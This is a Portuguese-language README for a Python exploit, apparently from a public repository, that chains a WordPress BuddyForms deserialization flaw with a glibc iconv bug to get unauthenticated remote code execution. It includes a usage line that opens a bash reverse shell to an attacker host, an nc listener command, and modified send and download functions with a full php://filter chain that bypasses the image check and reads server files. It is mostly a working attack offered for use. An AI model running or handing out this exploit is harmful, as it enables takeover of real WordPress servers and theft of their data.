
Python exploit para CVE-2023-26326 (WordPress BuddyForms) encadeado com CVE-2024-2961 para alcançar execução remota de código não autenticada via php://filter no PHP 8+.
uso: python exploit.py "<TARGET_URL>/wp-admin/admin-ajax.php" 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1"'
Originalmente, o CVE-2023–26326 exigia cadeias de gadgets para ser explorado como uma vulnerabilidade de desserialização. Esse método não é mais viável em sites WordPress mais recentes rodando PHP 8+; no entanto, ao encadear com o CVE-2024-2961](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1), a exploração torna-se possível através de php://filter em vez de phar://.
O exploit foi criado modificando o script cnext-exploit.py, incorporando as mudanças necessárias para o CVE-2023-26326, conforme detalhado na Descrição das Alterações.
git clone https://github.com/omarelshopky/exploit_cve-2023-26326_using_cve-2024-2961.git
cd exploit_cve-2023–26326_using_cve-2024-2961
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
<ATTACKER_PORT> para capturar a reverse shell:nc -lvnp <ATTACKER_PORT>
python exploit.py "<TARGET_URL>/wp-admin/admin-ajax.php" 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1"'
captura de tela da execução do exploit
captura de tela da captura da reverse shell
A ideia central por trás do exploit do CVE-2024-2961 foi mantida, mas foram necessárias modificações para adaptá-lo ao envio da cadeia de filtros para o site e ao download de arquivos do servidor.
No exploit original, a função send é usada para enviar um caminho para o servidor:
def send(self, path: str) -> Response:
return self.session.post(self.url, data={"file": path})
Para WordPress com BuddyForms, a interação ocorre por padrão através de uma requisição POST para /wp-admin/admin-ajax.php, onde os dados do corpo contêm action=upload_image_from_url&url=<PONTO_DE_INJEÇÃO>&id=1&accepted_files=image/gif. O parâmetro URL serve como ponto de injeção para enviar a cadeia de filtros ao servidor. Isso resultou na seguinte modificação na função send:
def send(self, path: str) -> Response:
return self.session.post(self.url, data={
"action" : "upload_image_from_url",
"url" : urllib.parse.quote_plus(path),
"id" : "1",
"accepted_files" : "image/gif"
})
O exploit original possuía uma função download responsável por baixar arquivos do servidor. A seguinte versão da função download é usada no exploit original:
def download(self, path: str) -> bytes:
path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(path)
data = response.re.search(b"File contents: (.*)", flags=re.S).group(1)
return base64.decode(data)
Para adaptar isso ao BuddyForms, analisamos a função buddyforms_upload_image_from_url, que lida com o upload de imagens a partir de uma URL. Ela usa file_get_contents, verifica o tipo de arquivo com getimagesize() e, em seguida, salva o conteúdo no diretório wp-content/uploads. Isso nos permite explorar php://filter para ler arquivos locais e salvá-los no diretório de uploads, tornando-os acessíveis via URL. No entanto, precisamos burlar a verificação do arquivo prefixando GIF89a ao conteúdo do arquivo para simulá-lo como um GIF. Isso pode ser feito usando encadeamento de filtros, e a ferramenta wrapwrap pode gerar a cadeia necessária:
git clone https://github.com/ambionics/wrapwrap.git
cd wrapwrap
./wrapwrap.py /etc/passwd 'GIF89a' '' 1000
gerar-cadeia-de-filtros-com-wrapwrap
Essa cadeia de filtros gerada deve substituir a codificação base64 usada no script original. Além disso, o formato para extrair o caminho do arquivo carregado da resposta precisa ser atualizado para acomodar o formato JSON, que inclui o atributo "response" definido como o caminho do arquivo.
{"status":"OK","response":"http:\/\/victim.site\/wp-content\/uploads\/2025\/02\/1-106.png","attachment_id":261}
{"status":"FAILED","response":"File type is not allowed."}
Observe que o prefixo GIF89a deve ser removido antes de usar o conteúdo do arquivo no exploit, resultando na seguinte função download modificada:
def download(self, path: str) -> bytes:
# Adiciona o prefixo "GIF89a" para burlar a verificação de tipo de arquivo com getimagesize()
path = f"php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource={path}"
response_data = self.send(path).json()
if response_data == "FAILED":
print(f"[-] Incapaz de baixar arquivos, mensagem de erro: {response_data['response']}")
exit(0)
file_path = response_data["response"]
# Remove o prefixo "GIF89a"
return self.session.get(file_path).content[6:]
libc.so.6Observe que o download do arquivo libc.so.6 do servidor pode não funcionar corretamente com as cadeias de filtros, pois o binário é modificado durante o processo. Em vez disso, o arquivo correto deve ser fornecido no diretório raiz do exploit.